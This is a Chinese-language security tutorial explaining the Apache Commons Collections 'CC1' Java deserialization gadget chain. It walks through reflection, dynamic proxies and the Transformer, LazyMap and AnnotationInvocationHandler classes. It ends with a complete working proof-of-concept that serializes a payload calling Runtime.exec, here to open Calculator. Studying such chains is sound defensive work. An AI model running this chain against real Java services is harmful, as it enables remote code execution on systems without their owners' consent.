简介:
CC即Apache Commons Collections是Apache软件基金会的项目,Commons-Collections 试图通过提供新的接口、实现和实用程序来构建 JDK 类。有很多功能,包括: 具有每个对象的多个副本的集合的 Bag 接口 BidiMap 接口,用于可以从值到键以及从键到值查找的地图 MapIterator 接口提供简单快速的地图迭代 转换装饰器,在每个对象被添加到集合时改变它 使多个集合看起来像一个的复合集合 添加保留顺序元素的有序映射和集合,包括基于 LRU 的映射 允许在严格控制下对键和/或值进行垃圾收集的参考映射 许多比较器实现 许多迭代器实现 从数组和枚举到集合的适配器类 用于测试或创建集合的典型集合论属性的实用程序,例如并集、交集和闭包,其包结构如下:
![](https://img.haomeiwen.com/i2818913/14dbac1ab0b64a22.png)
翻译如下:
![](https://img.haomeiwen.com/i2818913/a75f630fccd860cb.png)
对于CC1链的学习,需要学习以下几个包中的类或者接口
org.apache.commons.collections (Transformer)
org.apache.commons.collections.functors (InvokerTransformer, ChainedTransformer, ConstantTransformer)
org.apache.commons.collections.map (TransformedMap,LazyMap)
在学习这些类之前需要学习java的反射机制和动态代理
反射
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。实现发射的类都java.lang.reflect
包中
![](https://img.haomeiwen.com/i2818913/2af26f33ae1ca60d.png)
这里主要学习通过反射获取实例对象,获取字段和执行方法,创建测试类T00LS
![](https://img.haomeiwen.com/i2818913/fca7078ed52c1bd2.png)
创建测试类通过反射对该类进行操作
获取class对象
![](https://img.haomeiwen.com/i2818913/f339124b3a27c603.png)
获取构造方法
![](https://img.haomeiwen.com/i2818913/0a1939f399ff6b8d.png)
获取属性
![](https://img.haomeiwen.com/i2818913/609186aba833da47.png)
获取方法
![](https://img.haomeiwen.com/i2818913/dd0cb8394013d51f.png)
实例化对象调用方法
![](https://img.haomeiwen.com/i2818913/2e132217492f5265.png)
小问题: 当调用私有方法时会报错,需要将setAccessible设置为true才可调用
![](https://img.haomeiwen.com/i2818913/e4f18f1bb40c01e3.png)
通过反射调用java.lang.Runtime的exec执行命令,弹出计算器
![](https://img.haomeiwen.com/i2818913/ef40bcb9bcbd4f65.png)
动态代理
这里只学习jdk的动态代理就够用, 动态代理利用了JDK API,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为JDK代理或接口代理。Java实现动态代理是通过java.lang.reflect Proxy类和java.lang.reflect InvocationHandler接口来实现的
Proxy类中需要用到的方法为newProxyInstance:
![](https://img.haomeiwen.com/i2818913/b7784f8b0a2cec74.png)
该类参数传入目标对象的类加载器,目标类的接口和InvocationHandler处理器,最后返回一个指定接口的代理对象
![](https://img.haomeiwen.com/i2818913/b0ab054e63185756.png)
InvocationHandler接口中用到的方法为invoke,用于处理代理对象的方法
![](https://img.haomeiwen.com/i2818913/80d0f1ac358f6b9c.png)
动态代理具体实现:
创建接口animal类,定义eat方法
![](https://img.haomeiwen.com/i2818913/345f02d79bd46f69.png)
创建dog类实现animal接口
![](https://img.haomeiwen.com/i2818913/c196dcebbae283f6.png)
创建动态代理对象
![](https://img.haomeiwen.com/i2818913/8565eeac6da39e50.png)
创建测试类,执行成功增强了eat方法:
![](https://img.haomeiwen.com/i2818913/efd186321d01c4e3.png)
Transformer
通过查看源代码,发现其为一个接口,定义了一个transform方法,没什么好分析的
![](https://img.haomeiwen.com/i2818913/4a890520dd055a07.png)
InvokerTransformer
该类继承了Transformer, Serializable接口,为Transformer的实现类同时为可序列化类,主要关注该类的构造方法和transform方法
构造方法接收方法名,参数类型和参数
methodName 接收的方法名
paramTypes 方法的参数类型
args 实际传入的方法参数
![](https://img.haomeiwen.com/i2818913/57ccc7640b68cf1d.png)
Transform接收一个对象,采用反射的方式处理该对象,并调用该对象的方法
![](https://img.haomeiwen.com/i2818913/046bd7b0fa3b9590.png)
这里创建一个person对象来测试该类的transform方法
![](https://img.haomeiwen.com/i2818913/d3b2894f997c4a0c.png)
创建测试代码,可以看到执行了person类的testTransform方法:
![](https://img.haomeiwen.com/i2818913/369fcaf5de94f9f5.png)
ConstantTransformer类
从该类的功能来看就是返回传入的类的实例
![](https://img.haomeiwen.com/i2818913/412d27401da66691.png)
测试代码, 比如获取person类的实例:
![](https://img.haomeiwen.com/i2818913/caddd7f950c80daa.png)
ChainedTransformer类
这里主要看该类的transform方法和构造方法,通过构造方法接收Transformer类型的数组,然后通过transform方法接收一个对象,循环遍历该数组,调用数组元素的transform方法来处理object对象,并将处理结果作为参数再次传入
![](https://img.haomeiwen.com/i2818913/d2066263d6d1a5d3.png)
组合链
前面说了InvokerTransformer类的transform方法可使用反射调用传入的对象的方法,而且对象是以参数传递进来的是可控的,所以这里我们就可以利用上面三个类来组合成一个链,
思路如下:
定义一个Transformer类型的数组,数组元素为invokerTransformer类的实例, ConstantTransformer类实例,将Transforme数组传入ChainedTransformer类的实例(构造方法),通过ChainedTransformer类的实例调用transform方法,并传入我们要处理的对象,即可触发执行invokerTransformer的transform方法执行目标类的方法
具体代码如下:
Person类 目标类,目的是通过刚才构造的链执行exec方法
![](https://img.haomeiwen.com/i2818913/bb2eb5d2e239ca07.png)
创建测试代码,成功执行person类的exec方法
![](https://img.haomeiwen.com/i2818913/e7091783814cc086.png)
TransformedMap类
此类继承自AbstractInputCheckedMapDecorator
![](https://img.haomeiwen.com/i2818913/afe4ec223d873d7e.png)
AbstractInputCheckedMapDecorator又继承自AbstractMapDecorator
![](https://img.haomeiwen.com/i2818913/0eb1478376ac940f.png)
AbstractMapDecorator继承自Map
![](https://img.haomeiwen.com/i2818913/8d079ca426eae426.png)
所以TransformedMap属于Map的实现类,这里主要关注该类的decorate方法和构造方法,通过构造方法传入一个map,和两个Transformer类型的key和value,通过decorate方法返回TransformedMap类的实例
![](https://img.haomeiwen.com/i2818913/75025577eb3f270c.png)
创建demo1代码进行调试
![](https://img.haomeiwen.com/i2818913/69f52ce889e57142.png)
在put方法打断点,进入到put方法,该函数用transformkey和transformValue来处理传进来的key和value,
![](https://img.haomeiwen.com/i2818913/b8e507ab5295e617.png)
跟进transformkey
该函数返回key,如果key为空,返回object,key不为null,调用key的transform方法处理key,这里就很明显了,如果传入的key是一个对象并且存在transfrom方法,在put时就会自动调用该类的方法,上面我们分析的那条链正好可以用
![](https://img.haomeiwen.com/i2818913/813337f677d11038.png)
测试代码如下(目的还是执行person类的exec方法):
![](https://img.haomeiwen.com/i2818913/289447dbdae7e992.png)
创建demo2代码进行调试
![](https://img.haomeiwen.com/i2818913/70bdf468e34cf89e.png)
在setValue出打断点,进入setValue方法,该方法调用了checkSetvalue方法来处理传入的value值
![](https://img.haomeiwen.com/i2818913/1c452a29d0a3da9f.png)
跟进checkSetValue,该方法调用了TransformaedMap类的valueTransformer属性的transform属性来处理value
![](https://img.haomeiwen.com/i2818913/1a2d79de3bf78448.png)
valueTransformer属性的值则为我们传进来的chainedTransformer利用链
![](https://img.haomeiwen.com/i2818913/95d4fd54f1b8e65f.png)
![](https://img.haomeiwen.com/i2818913/9d88d7898ae84c57.png)
所以这里即触发了chainedTransformer利用链的transform方法
LazyMap类
LazyMap也是继承了map接口和Serializable接口,这里主要看该类的decorate方法,构造方法和get方法。
先看构造方法,传入一个map和Transformer对象,如果Transformer对象不为空,则赋值给factory属性
![](https://img.haomeiwen.com/i2818913/c0f5e982792b18c1.png)
decorate方法,返回传入的Transformer对象
![](https://img.haomeiwen.com/i2818913/9b14e9c0faffa266.png)
get方法,判断map对象中是否存在key,如果不存在则调用Transformer对象的transform方法来处理key,这里就和TransforMap一样了,可把利用链传入来执行对象的方法
![](https://img.haomeiwen.com/i2818913/d77ad78acec42a4f.png)
测试代码,执行了person类的exec方法:
![](https://img.haomeiwen.com/i2818913/a8d88cacc449d241.png)
AnnotationInvocationHandler类+LazyMap类
前面说了LazyMap的get方法的特性,但是手工触发的该方法,要想自动触发就得找一个类该类存在调用get方法的属性或者对象是可控的并且得实现Serializable接口来进行序列化操作,重写了readobject方法(这也是反序列化漏洞产生的前提条件)。
AnnotationInvocationHandler类完美的符合上述的所有条件,来看一下该类,实现了
InvocationHandler, Serializable两个接口,说明该类是可序列化的动态代理类
![](https://img.haomeiwen.com/i2818913/3d95707f3687220c.png)
接下来找该类的哪些属性调用了get方法,通过查找该类的invoke方法中,memberValue属性调用了get方法
![](https://img.haomeiwen.com/i2818913/4636f70a514ceb97.png)
![](https://img.haomeiwen.com/i2818913/d9775b565c89f059.png)
接着跟踪memberValues属性,为该类的构造器传入的Map对象的值(可控制),这里就可以完美的传入构造好的LazyMap的对象
![](https://img.haomeiwen.com/i2818913/dbed7e2034fba14d.png)
前面说了AnnotationInvocationHandler类继承了InvocationHandler接口,所以该类为动态代理类,动态代理类使用来赠强被代理对象的,也就是说,在代理类执行被代理类的方法时会自动执行invoke方法,这个前面动态代理学习的时候可以看到,这个时候在来看重写的readObject方法,这里有一段代码,在反序列化的时候会执行这段代码这个是肯定的
![](https://img.haomeiwen.com/i2818913/8155b390cadb6e8e.png)
前面也说了memberValues属性是可控的,所以如果这里传入的是动态代理对象,该对象执行entrySet()方法时就会自动触发Invoke方法,从而触发反序列化执行命令,这里根据前面的步骤来构造POC:
public void t13() throws Exception{
//定义Transformer数组,因为
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
//将数组传入ChainedTransformer返回组合链
Transformer transformerChain = new ChainedTransformer(trans);
HashMap hashMap = new HashMap();
//获取LazyMap对象
Map decorate = LazyMap.decorate(hashMap, transformerChain);
//AnnotationInvocationHandler类为jdk内置类无法直接方法问可通过反射进行方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
//设置访问权限,该类的构造器非public权限
declaredConstructor.setAccessible(true);
//实例化对象,传入被代理对象LazyMap
InvocationHandler o = (InvocationHandler)declaredConstructor.newInstance(Target.class, decorate);
//创建代理对象O1 Map类型
Map o1 =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),decorate.getClass().getInterfaces(),o);
//将代理对象o1传入AnnotationInvocationHandler构造器,生成新的对象为InvocationHandler类型
InvocationHandler o2 =(InvocationHandler) declaredConstructor.newInstance(Target.class, o1);
//序列化该对象
FileOutputStream file = new FileOutputStream("poc.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(file);
objectOutputStream.writeObject(o2);
//反序列化
FileInputStream file1 = new FileInputStream("poc.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(file1);
objectInputStream.readObject();
}
执行该poc成功弹出计算器
![](https://img.haomeiwen.com/i2818913/253c7ea722dd84b2.png)
几个小问题:
(1) POC实例化对象时传入的Target.class是什么
跟进该对象,源代码如下,查阅资料得知为java的元注解,所以该类的字节码文件为Annotation类型
![](https://img.haomeiwen.com/i2818913/eeaaa7db34e7e486.png)
那么为什么要传入Annotation类型,查看AnnotationInvocationHandler类的构造函数可得知为参数要求
![](https://img.haomeiwen.com/i2818913/c9dd1ed049cb1bda.png)
Java的元注解共有4个,所以使用哪个都行,不一定用Target
![](https://img.haomeiwen.com/i2818913/059e619e29fffb02.png)
(2) Poc 中 tarnsformer为什么写Runtime.class?
这里来单独看一下,贴下完整数组代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
先来看第一个元素,传入Runtime.class,因为Runtime未继承Serializable接口是不能进行序列化的
![](https://img.haomeiwen.com/i2818913/6926c84603a068d5.png)
所以这里得通过反射来获取该对象是可以进行序列化的,测试通过
![](https://img.haomeiwen.com/i2818913/21546554130909cc.png)
网友评论